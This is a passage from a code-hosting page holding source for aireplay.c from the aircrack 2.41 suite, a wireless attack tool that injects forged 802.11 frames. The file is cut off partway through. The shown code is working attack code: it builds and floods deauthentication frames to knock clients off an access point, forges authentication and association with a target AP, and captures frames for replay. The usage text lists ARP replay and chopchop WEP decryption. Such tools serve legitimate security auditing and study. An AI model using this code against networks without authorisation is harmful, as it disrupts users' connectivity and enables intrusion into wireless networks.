开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > 其他 > 查看源码
aireplay.c
资源名称：1121aircrack-2.41.zip　[点击查看]
上传用户：fubang
上传日期：2009-06-18
资源大小：2071k
文件大小：72k
源码类别：

其他

开发平台：

Unix_Linux

aireplay.c：源码内容
  1. /*
  2.  *  802.11 WEP replay & injection attacks
  3.  *
  4.  *  Copyright (C) 2004,2005  Christophe Devine
  5.  *
  6.  *  WEP decryption attack (chopchop) developped by KoreK
  7.  *
  8.  *  This program is free software; you can redistribute it and/or modify
  9.  *  it under the terms of the GNU General Public License as published by
  10.  *  the Free Software Foundation; either version 2 of the License, or
  11.  *  (at your option) any later version.
  12.  *
  13.  *  This program is distributed in the hope that it will be useful,
  14.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  15.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  16.  *  GNU General Public License for more details.
  17.  *
  18.  *  You should have received a copy of the GNU General Public License
  19.  *  along with this program; if not, write to the Free Software
  20.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  21.  */
  23. #include <linux/rtc.h>
  24. #include <linux/if_ether.h>
  25. #include <netpacket/packet.h>
  26. #include <sys/types.h>
  27. #include <sys/ioctl.h>
  28. #include <sys/wait.h>
  29. #include <sys/stat.h>
  30. #include <sys/time.h>
  31. #include <arpa/inet.h>
  32. #include <net/if.h>
  33. #include <unistd.h>
  34. #include <signal.h>
  35. #include <string.h>
  36. #include <stdlib.h>
  37. #include <stdio.h>
  38. #include <fcntl.h>
  39. #include <errno.h>
  40. #include <time.h>
  42. #include "pcap.h"
  43. #include "crctable.h"
  45. #define NULL_MAC        "x00x00x00x00x00x00"
  46. #define BROADCAST       "xFFxFFxFFxFFxFFxFF"
  48. #define ARPHRD_IEEE80211        801
  49. #define ARPHRD_IEEE80211_PRISM  802
  50. #define ARPHRD_IEEE80211_FULL   803
  52. #ifndef ETH_P_80211_RAW
  53. #define ETH_P_80211_RAW 25
  54. #endif
  56. #define DEAUTH_REQ      
  57.     "xC0x00x3Ax01xCCxCCxCCxCCxCCxCCxBBxBBxBBxBBxBBxBB" 
  58.     "xBBxBBxBBxBBxBBxBBx00x00x07x00"
  60. #define AUTH_REQ        
  61.     "xB0x00x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC" 
  62.     "xBBxBBxBBxBBxBBxBBxB0x00x00x00x01x00x00x00"
  64. #define ASSOC_REQ       
  65.     "x00x00x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC"  
  66.     "xBBxBBxBBxBBxBBxBBxC0x00x31x04x64x00"
  68. #define NULL_DATA       
  69.     "x48x01x3Ax01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC"  
  70.     "xBBxBBxBBxBBxBBxBBxE0x1B"
  72. #define RATES           
  73.     "x01x04x02x04x0Bx16x32x08x0Cx12x18x24x30x48x60x6C"
  75. char usage[] =
  77. "n"
  78. "  filter options:n"
  79. "n"
  80. "      -b bssid  : MAC address, Access Pointn"
  81. "      -d dmac   : MAC address, Destinationn"
  82. "      -s smac   : MAC address, Sourcen"
  83. "      -m len    : minimum packet lengthn"
  84. "      -n len    : maximum packet lengthn"
  85. "      -u type   : frame control, type    fieldn"
  86. "      -v subt   : frame control, subtype fieldn"
  87. "      -t tods   : frame control, To   DS bitn"
  88. "      -f fromds : frame control, From DS bitn"
  89. "      -w iswep  : frame control, WEP     bitn"
  90. "n"
  91. "  replay options:n"
  92. "n"
  93. "      -x nbpps  : number of packets per secondn"
  94. "      -p fctrl  : set frame control word (hex)n"
  95. "      -a bssid  : set Access Point MAC addressn"
  96. "      -c dmac   : set Destination  MAC addressn"
  97. "      -h smac   : set Source       MAC addressn"
  98. "      -e essid  : attack 1: set target AP SSIDn"
  99. "      -j        : attack 3: inject FromDS pktsn"
  100. "n"
  101. "  source options:n"
  102. "n"
  103. "      -i iface  : capture packets from this interfacen"
  104. "      -r file   : extract packets from this pcap filen"
  105. "n"
  106. "  attack modes:n"
  107. "n"
  108. "      -0 count  : deauthenticate all stationsn"
  109. "      -1 delay  : fake authentication with APn"
  110. "      -2        : interactive frame selectionn"
  111. "      -3        : standard ARP-request replayn"
  112. "      -4        : decrypt/chopchop WEP packetn"
  113. "n"
  114. "  aireplay %d.%d - (C) 2004,2005 Christophe Devinen"
  115. "n"
  116. "  usage: aireplay [options] <replay interface>n"
  117. "n";
  119. struct options
  120. {
  121.     unsigned char f_bssid[6];
  122.     unsigned char f_dmac[6];
  123.     unsigned char f_smac[6];
  124.     int f_minlen;
  125.     int f_maxlen;
  126.     int f_type;
  127.     int f_subtype;
  128.     int f_tods;
  129.     int f_fromds;
  130.     int f_iswep;
  132.     int r_nbpps;
  133.     int r_fctrl;
  134.     unsigned char r_bssid[6];
  135.     unsigned char r_dmac[6];
  136.     unsigned char r_smac[6];
  137.     char r_essid[33];
  138.     int r_fromdsinj;
  140.     char *s_face;
  141.     char *s_file;
  143.     int a_mode;
  144.     int a_count;
  145.     int a_delay;
  146. }
  147. opt;
  149. struct devices
  150. {
  151.     int fd_in,  arptype_in;
  152.     int fd_out, arptype_out;
  153.     int fd_rtc;
  155.     int is_wlanng;
  156.     int is_hostap;
  157.     int is_madwifi;
  159.     FILE *f_cap_in;
  161.     struct pcap_file_header pfh_in;
  162. }
  163. dev;
  165. struct ARP_req
  166. {
  167.     unsigned char *buf;
  168.     int len;
  169. };
  171. unsigned long nb_pkt_sent;
  172. unsigned char h80211[4096];
  173. unsigned char tmpbuf[4096];
  174. unsigned char srcbuf[4096];
  175. char strbuf[512];
  177. int ctrl_c, alarmed;
  179. void sighandler( int signum )
  180. {
  181.     if( signum == SIGINT )
  182.         ctrl_c++;
  184.     if( signum == SIGALRM )
  185.         alarmed++;
  186. }
  188. /* CRC checksum verification routine */
  190. int check_crc_buf( unsigned char *buf, int len )
  191. {
  192.     unsigned long crc = 0xFFFFFFFF;
  193.     
  194.     for( ; len > 0; len--, buf++ )
  195.         crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 );
  197.     crc = ~crc;
  199.     return( ( ( crc       ) & 0xFF ) == buf[0] &&
  200.             ( ( crc >>  8 ) & 0xFF ) == buf[1] &&
  201.             ( ( crc >> 16 ) & 0xFF ) == buf[2] &&
  202.             ( ( crc >> 24 ) & 0xFF ) == buf[3] );
  203. }
  205. /* wlanng-aware frame sending routing */
  207. int send_packet( void *buf, size_t count )
  208. {
  209.     int ret;
  211.     if( dev.is_wlanng && count >= 24 )
  212.     {
  213.         /* for some reason, wlan-ng requires a special header */
  215.         if( ( ((unsigned char *) buf)[0] & 3 ) != 3 )
  216.         {
  217.             memcpy( tmpbuf, buf, 24 );
  218.             memset( tmpbuf + 24, 0, 22 );
  220.             tmpbuf[30] = ( count - 24 ) & 0xFF;
  221.             tmpbuf[31] = ( count - 24 ) >> 8;
  223.             memcpy( tmpbuf + 46, buf + 24, count - 24 );
  225.             count += 22;
  226.         }
  227.         else
  228.         {
  229.             memcpy( tmpbuf, buf, 30 );
  230.             memset( tmpbuf + 30, 0, 16 );
  232.             tmpbuf[30] = ( count - 30 ) & 0xFF;
  233.             tmpbuf[31] = ( count - 30 ) >> 8;
  235.             memcpy( tmpbuf + 46, buf + 30, count - 30 );
  237.             count += 16;
  238.         }
  240.         buf = tmpbuf;
  241.     }
  243.     if( ( dev.is_wlanng || dev.is_hostap ) &&
  244.         ( ((uchar *) buf)[1] & 3 ) == 2 )
  245.     {
  246.         unsigned char maddr[6];
  248.         /* Prism2 firmware swaps the dmac and smac in FromDS packets */
  250.         memcpy( maddr, buf + 4, 6 );
  251.         memcpy( buf + 4, buf + 16, 6 );
  252.         memcpy( buf + 16, maddr, 6 );
  253.     }
  255.     ret = write( dev.fd_out, buf, count );
  257.     if( ret < 0 )
  258.     {
  259.         if( errno == EAGAIN || errno == EWOULDBLOCK ||
  260.             errno == ENOBUFS )
  261.         {
  262.             usleep( 10000 );
  263.             return( 0 );
  264.         }
  266.         perror( "write failed" );
  267.         return( -1 );
  268.     }
  270.     nb_pkt_sent++;
  271.     return( 0 );
  272. }
  274. /* madwifi-aware frame reading routing */
  276. int read_packet( void *buf, size_t count )
  277. {
  278.     int caplen, n = 0;
  280.     if( ( caplen = read( dev.fd_in, tmpbuf, count ) ) < 0 )
  281.     {
  282.         if( errno == EAGAIN )
  283.             return( 0 );
  285.         perror( "read failed" );
  286.         return( -1 );
  287.     }
  289.     if( dev.is_madwifi )
  290.         caplen -= 4;    /* remove the FCS */
  292.     memset( buf, 0, sizeof( buf ) );
  294.     if( dev.arptype_in == ARPHRD_IEEE80211_PRISM )
  295.     {
  296.         /* skip the prism header */
  298.         if( tmpbuf[7] == 0x40 )
  299.             n = 64;
  300.         else
  301.             n = *(int *)( tmpbuf + 4 );
  303.         if( n < 8 || n >= caplen )
  304.             return( 0 );
  305.     }
  307.     if( dev.arptype_in == ARPHRD_IEEE80211_FULL )
  308.     {
  309.         /* skip the radiotap header */
  311.         n = *(unsigned short *)( tmpbuf + 2 );
  313.         if( n <= 0 || n >= caplen )
  314.             return( 0 );
  315.     }
  317.     caplen -= n;
  319.     memcpy( buf, tmpbuf + n, caplen );
  321.     return( caplen );
  322. }
  324. int filter_packet( unsigned char *h80211, int caplen )
  325. {
  326.     int z, mi_b, mi_s, mi_d;
  328.     /* check length */
  330.     if( caplen < opt.f_minlen ||
  331.         caplen > opt.f_maxlen ) return( 1 );
  333.     /* check the frame control bytes */
  335.     if( ( h80211[0] & 0x0C ) != ( opt.f_type    << 2 ) &&
  336.         opt.f_type    >= 0 ) return( 1 );
  338.     if( ( h80211[0] & 0xF0 ) != ( opt.f_subtype << 4 ) &&
  339.         opt.f_subtype >= 0 ) return( 1 );
  341.     if( ( h80211[1] & 0x01 ) != ( opt.f_tods         ) &&
  342.         opt.f_tods    >= 0 ) return( 1 );
  344.     if( ( h80211[1] & 0x02 ) != ( opt.f_fromds  << 1 ) &&
  345.         opt.f_fromds  >= 0 ) return( 1 );
  347.     if( ( h80211[1] & 0x40 ) != ( opt.f_iswep   << 6 ) &&
  348.         opt.f_iswep   >= 0 ) return( 1 );
  350.     /* check the extended IV (TKIP) flag */
  352.     z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
  354.     if( opt.f_type == 2 && opt.f_iswep == 1 &&
  355.         ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
  357.     /* MAC address checking */
  359.     switch( h80211[1] & 3 )
  360.     {
  361.         case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  362.         case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  363.         case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  364.         default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  365.     }
  367.     if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 )
  368.         if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
  369.             return( 1 );
  371.     if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
  372.         if( memcmp( h80211 + mi_s,  opt.f_smac,  6 ) != 0 )
  373.             return( 1 );
  375.     if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
  376.         if( memcmp( h80211 + mi_d,  opt.f_dmac,  6 ) != 0 )
  377.             return( 1 );
  379.     /* this one looks good */
  381.     return( 0 );
  382. }
  384. #define PCT { struct tm *lt; time_t tc = time( NULL ); 
  385.               lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", 
  386.               lt->tm_hour, lt->tm_min, lt->tm_sec ); }
  388. int do_attack_deauth( void )
  389. {
  390.     int i, n;
  392.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  393.     {
  394.         printf( "Please specify a BSSID (-a).n" );
  395.         return( 1 );
  396.     }
  398.     if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
  399.         printf( "NB: this attack is more effective when targetingn"
  400.                 "a connected wireless client (-c <client's mac>).n" );
  402.     n = 0;
  404.     while( 1 )
  405.     {
  406.         if( opt.a_count > 0 && ++n > opt.a_count )
  407.             break;
  409.         usleep( 180000 );
  411.         if( memcmp( opt.r_dmac, NULL_MAC, 6 ) != 0 )
  412.         {
  413.             /* deauthenticate the target */
  415.             PCT; printf( "Sending DeAuth to station   -- STMAC:"
  416.                          " [%02X:%02X:%02X:%02X:%02X:%02X]n",
  417.                          opt.r_dmac[0],  opt.r_dmac[1],
  418.                          opt.r_dmac[2],  opt.r_dmac[3],
  419.                          opt.r_dmac[4],  opt.r_dmac[5] );
  421.             memcpy( h80211, DEAUTH_REQ, 26 );
  422.             memcpy( h80211 + 16, opt.r_bssid, 6 );
  424.             for( i = 0; i < 64; i++ )
  425.             {
  426.                 memcpy( h80211 +  4, opt.r_dmac,  6 );
  427.                 memcpy( h80211 + 10, opt.r_bssid, 6 );
  429.                 if( send_packet( h80211, 26 ) < 0 )
  430.                     return( 1 );
  432.                 usleep( 2000 );
  434.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  435.                 memcpy( h80211 + 10, opt.r_dmac,  6 );
  437.                 if( send_packet( h80211, 26 ) < 0 )
  438.                     return( 1 );
  440.                 usleep( 2000 );
  441.             }
  442.         }
  443.         else
  444.         {
  445.             /* deauthenticate all stations */
  447.             PCT; printf( "Sending DeAuth to broadcast -- BSSID:"
  448.                          " [%02X:%02X:%02X:%02X:%02X:%02X]n",
  449.                          opt.r_bssid[0], opt.r_bssid[1],
  450.                          opt.r_bssid[2], opt.r_bssid[3],
  451.                          opt.r_bssid[4], opt.r_bssid[5] );
  453.             memcpy( h80211, DEAUTH_REQ, 26 );
  455.             memcpy( h80211 +  4, BROADCAST,   6 );
  456.             memcpy( h80211 + 10, opt.r_bssid, 6 );
  457.             memcpy( h80211 + 16, opt.r_bssid, 6 );
  459.             for( i = 0; i < 128; i++ )
  460.             {
  461.                 if( send_packet( h80211, 26 ) < 0 )
  462.                     return( 1 );
  464.                 usleep( 2000 );
  465.             }
  466.         }
  467.     }
  469.     return( 0 );
  470. }
  472. int do_attack_fake_auth( void )
  473. {
  474.     time_t tt, tr;
  475.     struct timeval tv;
  477.     fd_set rfds;
  478.     int i, n, state, caplen;
  479.     int mi_b, mi_s, mi_d;
  480.     int x_send;
  482.     unsigned char ackbuf[14];
  484.     if( opt.r_essid[0] == '' )
  485.     {
  486.         printf( "Please specify an ESSID (-e).n" );
  487.         return( 1 );
  488.     }
  490.     if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
  491.     {
  492.         printf( "Please specify a BSSID (-a).n" );
  493.         return( 1 );
  494.     }
  496.     if( memcmp( opt.r_smac,  NULL_MAC, 6 ) == 0 )
  497.     {
  498.         printf( "Please specify a source MAC (-h).n" );
  499.         return( 1 );
  500.     }
  502.     memcpy( ackbuf, "xD4x00x00x00", 4 );
  503.     memcpy( ackbuf +  4, opt.r_bssid, 6 );
  504.     memset( ackbuf + 10, 0, 4 );
  506.     state = 0;
  507.     x_send = 4;
  508.     tt = time( NULL );
  509.     tr = time( NULL );
  511.     while( 1 )
  512.     {
  513.         switch( state )
  514.         {
  515.             case 0:
  517.                 state = 1;
  518.                 tt = time( NULL );
  520.                 /* attempt to authenticate */
  522.                 memcpy( h80211, AUTH_REQ, 30 );
  523.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  524.                 memcpy( h80211 + 10, opt.r_smac , 6 );
  525.                 memcpy( h80211 + 16, opt.r_bssid, 6 );
  527.                 PCT; printf( "Sending Authentication Requestn" );
  529.                 for( i = 0; i < x_send; i++ )
  530.                 {
  531.                     if( send_packet( h80211, 30 ) < 0 )
  532.                         return( 1 );
  534.                     if( send_packet( ackbuf, 14 ) < 0 )
  535.                         return( 1 );
  536.                 }
  538.                 break;
  540.             case 1:
  542.                 /* waiting for an authentication response */
  544.                 if( time( NULL ) - tt >= 2 )
  545.                 {
  546.                     if( x_send < 256 )
  547.                         x_send *= 2;
  548.                     else
  549.                     {
  550.                         printf(
  551.     "nAttack was unsuccessful. Possible reasons:nn"
  552.     "    * Perhaps MAC address filtering is enabled.n"
  553.     "    * Check that the BSSID (-a option) is correct.n"
  554.     "    * The driver hasn't been patched for injection.n"
  555.     "    * This attack sometimes fails against some APs.n"
  556.     "    * The card is not on the same channel as the AP.n"
  557.     "    * Injection is not supported AT ALL on HermesI,n"
  558.     "      Centrino, ndiswrapper and a few others chipsets.n"
  559.     "    * You're too far from the AP. Get closer, or lowern"
  560.     "      the transmit rate (iwconfig <iface> rate 1M).nn" );
  561.                         return( 1 );
  562.                     }
  564.                     state = 0;
  565.                 }
  567.                 break;
  569.             case 2:
  571.                 state = 3;
  572.                 x_send *= 2;
  573.                 tt = time( NULL );
  575.                 /* attempt to associate */
  577.                 memcpy( h80211, ASSOC_REQ, 30 );
  578.                 memcpy( h80211 +  4, opt.r_bssid, 6 );
  579.                 memcpy( h80211 + 10, opt.r_smac , 6 );
  580.                 memcpy( h80211 + 16, opt.r_bssid, 6 );
  582.                 n = strlen( opt.r_essid );
  583.                 if( n > 32 ) n = 32;
  585.                 h80211[28] = 0x00;
  586.                 h80211[29] = n;
  588.                 memcpy( h80211 + 30, opt.r_essid,  n );
  589.                 memcpy( h80211 + 30 + n, RATES, 16 );
  591.                 PCT; printf( "Sending Association Requestn" );
  593.                 for( i = 0; i < x_send; i++ )
  594.                 {
  595.                     if( send_packet( h80211, 46 + n ) < 0 )
  596.                         return( 1 );
  598.                     if( send_packet( ackbuf, 14 ) < 0 )
  599.                         return( 1 );
  600.                 }
  602.                 break;
  604.             case 3:
  606.                 /* waiting for an association response */
  608.                 if( time( NULL ) - tt >= 5 )
  609.                 {
  610.                     if( x_send < 256 )
  611.                         x_send *= 4;
  613.                     state = 0;
  614.                 }
  616.                 break;
  618.             case 4:
  620.                 if( opt.a_delay == 0 )
  621.                     return( 0 );
  623.                 if( time( NULL ) - tt >= opt.a_delay )
  624.                 {
  625.                     x_send = 4;
  626.                     state = 0;
  627.                     break;
  628.                 }
  630.                 if( time( NULL ) - tr >= 15 )
  631.                 {
  632.                     tr = time( NULL );
  634.                     PCT; printf( "Sending keep-alive packetn" );
  636.                     memcpy( h80211, NULL_DATA, 24 );
  637.                     memcpy( h80211 +  4, opt.r_bssid, 6 );
  638.                     memcpy( h80211 + 10, opt.r_smac,  6 );
  639.                     memcpy( h80211 + 16, opt.r_bssid, 6 );
  641.                     for( i = 0; i < 32; i++ )
  642.                         if( send_packet( h80211, 24 ) < 0 )
  643.                             return( 1 );
  644.                 }
  646.                 break;
  648.             default: break;
  649.         }
  651.         /* read one frame */
  653.         FD_ZERO( &rfds );
  654.         FD_SET( dev.fd_in, &rfds );
  656.         tv.tv_sec  = 1;
  657.         tv.tv_usec = 0;
  659.         if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
  660.         {
  661.             if( errno == EINTR ) continue;
  662.             perror( "select failed" );
  663.             return( 1 );
  664.         }
  666.         if( ! FD_ISSET( dev.fd_in, &rfds ) )
  667.             continue;
  669.         caplen = read_packet( h80211, sizeof( h80211 ) );
  671.         if( caplen  < 0 ) return( 1 );
  672.         if( caplen == 0 ) continue;
  674.         if( caplen < 24 )
  675.             continue;
  677.         switch( h80211[1] & 3 )
  678.         {
  679.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  680.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  681.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  682.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  683.         }
  685.         /* check if the dest. MAC is ours and source == AP */
  687.         if( memcmp( h80211 + mi_d, opt.r_smac,  6 ) == 0 &&
  688.             memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 &&
  689.             memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 )
  690.         {
  691.             /* check if we got an deauthentication packet */
  693.             if( h80211[0] == 0xC0 && state == 4 )
  694.             {
  695.                 PCT; printf( "Got a deauthentication packet!n" );
  696.                 x_send = 4; state = 0;
  697.                 sleep( 3 );
  698.                 continue;
  699.             }
  701.             /* check if we got an disassociation packet */
  703.             if( h80211[0] == 0xA0 && state == 4 )
  704.             {
  705.                 PCT; printf( "Got a disassociation packet!n" );
  706.                 x_send = 4; state = 0;
  707.                 sleep( 3 );
  708.                 continue;
  709.             }
  711.             /* check if we got an authentication response */
  713.             if( h80211[0] == 0xB0 && state == 1 )
  714.             {
  715.                 state = 0; PCT;
  717.                 if( caplen < 30 )
  718.                 {
  719.                     printf( "Error: packet length < 30 bytesn" );
  720.                     sleep( 3 );
  721.                     continue;
  722.                 }
  724.                 if( h80211[24] != 0 || h80211[25] != 0 )
  725.                 {
  726.                     printf( "FATAL: algorithm != Open System (0)n" );
  727.                     sleep( 3 );
  728.                     continue;
  729.                 }
  731.                 n = h80211[28] + ( h80211[29] << 8 );
  733.                 if( n != 0 )
  734.                 {
  735.                     switch( n )
  736.                     {
  737.                     case  1:
  738.                         printf( "AP rejects the source MAC address ?n" );
  739.                         break;
  741.                     case 10:
  742.                         printf( "AP rejects our capabilitiesn" );
  743.                         break;
  745.                     case 13:
  746.                     case 15:
  747.                         printf( "AP rejects open-system authenticationn" );
  748.                         break;
  750.                     default:
  751.                         break;
  752.                     }
  754.                     PCT; printf( "Authentication failed (code %d)n", n );
  755.                     x_send = 4;
  756.                     sleep( 3 );
  757.                     continue;
  758.                 }
  760.                 printf( "Authentication successfuln" );
  762.                 state = 2;      /* auth. done */
  763.             }
  765.             /* check if we got an association response */
  767.             if( h80211[0] == 0x10 && state == 3 )
  768.             {
  769.                 state = 0; PCT;
  771.                 if( caplen < 30 )
  772.                 {
  773.                     printf( "Error: packet length < 30 bytesn" );
  774.                     sleep( 3 );
  775.                     continue;
  776.                 }
  778.                 n = h80211[26] + ( h80211[27] << 8 );
  780.                 if( n != 0 )
  781.                 {
  782.                     switch( n )
  783.                     {
  784.                     case  1:
  785.                         printf( "Denied (code  1), is WPA in use ?n" );
  786.                         break;
  788.                     case 10:
  789.                         printf( "Denied (code 10), open (no WEP) ?n" );
  790.                         break;
  792.                     case 12:
  793.                         printf( "Denied (code 12), wrong ESSID or WPA ?n" );
  794.                         break;
  796.                     default:
  797.                         printf( "Association denied (code %d)n", n );
  798.                         break;
  799.                     }
  801.                     sleep( 3 );
  802.                     continue;
  803.                 }
  805.                 printf( "Association successful :-)n" );
  807.                 tt = time( NULL );
  808.                 tr = time( NULL );
  810.                 state = 4;      /* assoc. done */
  811.             }
  812.         }
  813.     }
  815.     return( 0 );
  816. }
  818. int capture_ask_packet( int *caplen )
  819. {
  820.     time_t tr;
  821.     struct timeval tv;
  822.     struct tm *lt;
  824.     fd_set rfds;
  825.     long nb_pkt_read;
  826.     int i, j, n, mi_b, mi_s, mi_d;
  828.     FILE *f_cap_out;
  829.     struct pcap_file_header pfh_out;
  830.     struct pcap_pkthdr pkh;
  832.     if( opt.f_minlen  < 0 ) opt.f_minlen  =   40;
  833.     if( opt.f_maxlen  < 0 ) opt.f_maxlen  = 1500;
  834.     if( opt.f_type    < 0 ) opt.f_type    =    2;
  835.     if( opt.f_subtype < 0 ) opt.f_subtype =    0;
  836.     if( opt.f_iswep   < 0 ) opt.f_iswep   =    1;
  838.     tr = time( NULL );
  840.     nb_pkt_read = 0;
  842.     signal( SIGINT, SIG_DFL );
  844.     while( 1 )
  845.     {
  846.         if( time( NULL ) - tr > 0 )
  847.         {
  848.             tr = time( NULL );
  849.             printf( "rRead %ld packets...r", nb_pkt_read );
  850.             fflush( stdout );
  851.         }
  853.         if( opt.s_file == NULL )
  854.         {
  855.             FD_ZERO( &rfds );
  856.             FD_SET( dev.fd_in, &rfds );
  858.             tv.tv_sec  = 1;
  859.             tv.tv_usec = 0;
  861.             if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
  862.             {
  863.                 if( errno == EINTR ) continue;
  864.                 perror( "select failed" );
  865.                 return( 1 );
  866.             }
  868.             if( ! FD_ISSET( dev.fd_in, &rfds ) )
  869.                 continue;
  871.             gettimeofday( &tv, NULL );
  873.             *caplen = read_packet( h80211, sizeof( h80211 ) );
  875.             if( *caplen  < 0 ) return( 1 );
  876.             if( *caplen == 0 ) continue;
  877.         }
  878.         else
  879.         {
  880.             /* there are no hidden backdoors in this source code */
  882.             n = sizeof( pkh );
  884.             if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
  885.             {
  886.                 printf( "r33[KEnd of file.n" );
  887.                 return( 1 );
  888.             }
  890.             if( dev.pfh_in.magic == TCPDUMP_CIGAM )
  891.                 SWAP32( pkh.caplen );
  893.             tv.tv_sec  = pkh.tv_sec;
  894.             tv.tv_usec = pkh.tv_usec;
  896.             n = *caplen = pkh.caplen;
  898.             if( n <= 0 || n > (int) sizeof( h80211 ) )
  899.             {
  900.                 printf( "r33[KInvalid packet length %d.n", n );
  901.                 return( 1 );
  902.             }
  904.             if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
  905.             {
  906.                 printf( "r33[KEnd of file.n" );
  907.                 return( 1 );
  908.             }
  910.             if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
  911.             {
  912.                 if( h80211[7] == 0x40 )
  913.                     n = 64;
  914.                 else
  915.                     n = *(int *)( h80211 + 4 );
  917.                 if( n < 8 || n >= (int) *caplen )
  918.                     continue;
  920.                 memcpy( tmpbuf, h80211, *caplen );
  921.                 *caplen -= n;
  922.                 memcpy( h80211, tmpbuf + n, *caplen );
  923.             }
  924.         }
  926.         nb_pkt_read++;
  928.         if( filter_packet( h80211, *caplen ) != 0 )
  929.             continue;
  931.         switch( h80211[1] & 3 )
  932.         {
  933.             case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
  934.             case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
  935.             case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
  936.             default: mi_b =  4; mi_d = 16; mi_s = 24; break;
  937.         }
  939.         printf( "nn        Size: %d, FromDS: %d, ToDS: %d",
  940.                 *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
  942.         if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
  943.         {
  944.             if( ( h80211[27] & 0x20 ) == 0 )
  945.                 printf( " (WEP)" );
  946.             else
  947.                 printf( " (WPA)" );
  948.         }
  950.         printf( "nn" );
  952.         printf( "             BSSID  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  953.                 h80211[mi_b    ], h80211[mi_b + 1],
  954.                 h80211[mi_b + 2], h80211[mi_b + 3],
  955.                 h80211[mi_b + 4], h80211[mi_b + 5] );
  957.         printf( "         Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  958.                 h80211[mi_d    ], h80211[mi_d + 1],
  959.                 h80211[mi_d + 2], h80211[mi_d + 3],
  960.                 h80211[mi_d + 4], h80211[mi_d + 5] );
  962.         printf( "        Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02Xn",
  963.                 h80211[mi_s    ], h80211[mi_s + 1],
  964.                 h80211[mi_s + 2], h80211[mi_s + 3],
  965.                 h80211[mi_s + 4], h80211[mi_s + 5] );
  967.         /* print a hex dump of the packet */
  969.         for( i = 0; i < *caplen; i++ )
  970.         {
  971.             if( ( i & 15 ) == 0 )
  972.             {
  973.                 if( i == 224 )
  974.                 {
  975.                     printf( "n        --- CUT ---" );
  976.                     break;
  977.                 }
  979.                 printf( "n        0x%04x:  ", i );
  980.             }
  982.             printf( "%02x", h80211[i] );
  984.             if( ( i & 1 ) != 0 )
  985.                 printf( " " );
  987.             if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
  988.             {
  989.                 for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
  990.                 {
  991.                     printf( "  " );
  992.                     if( ( j & 1 ) != 0 )
  993.                         printf( " " );
  994.                 }
  996.                 printf( " " );
  998.                 for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
  999.                     printf( "%c", ( h80211[i - 15 + j] <  32 ||
  1000.                                     h80211[i - 15 + j] > 126 )
  1001.                                   ? '.' : h80211[i - 15 + j] );
  1002.             }
  1004.             if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
  1005.             {
  1006.                 printf( " " );
  1008.                 for( j = 0; j < 16; j++ )
  1009.                     printf( "%c", ( h80211[i - 15 + j] <  32 ||
  1010.                                     h80211[i - 15 + j] > 127 )
  1011.                                   ? '.' : h80211[i - 15 + j] );
  1012.             }
  1013.         }
  1015.         printf( "nnUse this packet ? " );
  1016.         fflush( stdout );
  1017.         scanf( "%s", tmpbuf );
  1018.         printf( "n" );
  1020.         if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
  1021.             break;
  1022.     }
  1024.     pfh_out.magic         = TCPDUMP_MAGIC;
  1025.     pfh_out.version_major = PCAP_VERSION_MAJOR;
  1026.     pfh_out.version_minor = PCAP_VERSION_MINOR;
  1027.     pfh_out.thiszone      = 0;
  1028.     pfh_out.sigfigs       = 0;
  1029.     pfh_out.snaplen       = 65535;
  1030.     pfh_out.linktype      = LINKTYPE_IEEE802_11;
  1032.     lt = localtime( &tv.tv_sec );
  1034.     memset( strbuf, 0, sizeof( strbuf ) );
  1035.     snprintf( strbuf,  sizeof( strbuf ) - 1,
  1036.               "replay_src-%02d%02d-%02d%02d%02d.cap",
  1037.               lt->tm_mon + 1, lt->tm_mday,
  1038.               lt->tm_hour, lt->tm_min, lt->tm_sec );
  1040.     printf( "Saving chosen packet in %sn", strbuf );
